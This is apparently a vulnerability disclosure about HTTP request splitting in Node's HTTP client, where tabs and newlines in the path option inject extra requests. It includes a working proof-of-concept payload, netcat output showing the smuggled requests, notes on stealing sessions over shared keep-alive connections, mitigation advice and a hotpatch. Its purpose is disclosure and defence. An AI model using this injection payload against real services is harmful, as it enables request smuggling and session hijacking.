The Node HTTP Client checks for invalid characters such as new lines that can be used to perform HTTP Smuggling attacks, however, the rules for the path option are quite relaxed.

By combining the fact that we can inject new lines and tabs in the path , we can force multiple arbitrary HTTP requests to made. This only works if the target HTTP server has a relaxed HTTP parser that allows tabs instead of spaces (for example, Apache).

This was tested in node version v0.12-v6.20 (stable) and should work in the current release (as of October 4th, 2016). This is a separate issue from CVE-2016-2086.

Example Attack

var http = require('http'); var options = { host: 'localhost', port: 8080, path: "/security_report.html\tHTTP/1.1\r

Host:\thttpd.apache.org\r

Content-Length:\t0\r

\r

GET\t/robots.txt\tHTTP/1.1\r

Host:\thttpd.apache.org\r

Content-Length:\t0\r

\r

GET\t/404time" } http.request(options, console.log).end();

Result

$ nc -l 127.0.01 8080 GET /security_report.html HTTP/1.1 Host: httpd.apache.org Content-Length: 0 GET /robots.txt HTTP/1.1 Host: httpd.apache.org Content-Length: 0 GET /404time HTTP/1.1 Host: localhost:8080 Connection: close

This demo forwards the request to Apache.org, 3 requests are made (/security_report.html, /robots.txt, and /404time)

nc -l 127.0.0.1 8080 | nc httpd.apache.org 80 | grep Content-Length Content-Length: 7523 Content-Length: 33 Content-Length: 205

A common attack vector would be if user-input is used by a node.js application to make an API call to another service via HTTP.

It should also be noted that by default Node's HTTP Client will use an agent with Keep Alive enabled so that if users are making requests within the timeout window and the target server has Keep Alive enabled, they will be sharing the same TCP connection. If authorization information is sent via these requests an attacker could leverage this attack to steal sensitive information or hijack another users session

Attack Vectors

Any place where user input may be used in a path passed to the node core HTTP Client. Think calls to third-party APIs or authentication via oAuth

Mitigation

Any applications should ensure control characters such as tabs and newlines in the path are URL escaped or rejected by the application

Make sure any libraries you use that make outgoing HTTP requests perform the above validation

Hotpatch

Until the official patch is available, you can hotpatch your applications using the code below:

// grab an instance of the low-level HTTP Client module var _http_client = require('_http_client') var util = require('util') var originalClientRequest = _http_client.ClientRequest function PatchedClientRequest(options, cb) { // copied from the original constructor if (typeof options === 'string') { options = url.parse(options); if (!options.hostname) { throw new Error('Unable to determine the domain name'); } } else { options = util._extend({}, options); } if (options && options.path && /[\r

\t ]/.test(options.path)) { throw new TypeError('Request path contains unescaped characters'); } originalClientRequest.call(this, options, cb) } util.inherits(PatchedClientRequest, originalClientRequest) _http_client.ClientRequest = PatchedClientRequest

You must require or execute this code before any other modules for this to be effective.

Suggestions

Behave like cURL in rejecting unescaped control characters such as

in the path. This has been discussed by the Node Team but has not yet been implemented

in the path. This has been discussed by the Node Team but has not yet been implemented Until then, clearly document the need to escape new lines and tabs from user input in the path so that no one is caught by surprise (I am working on a PR for this now)

Disclosure Notes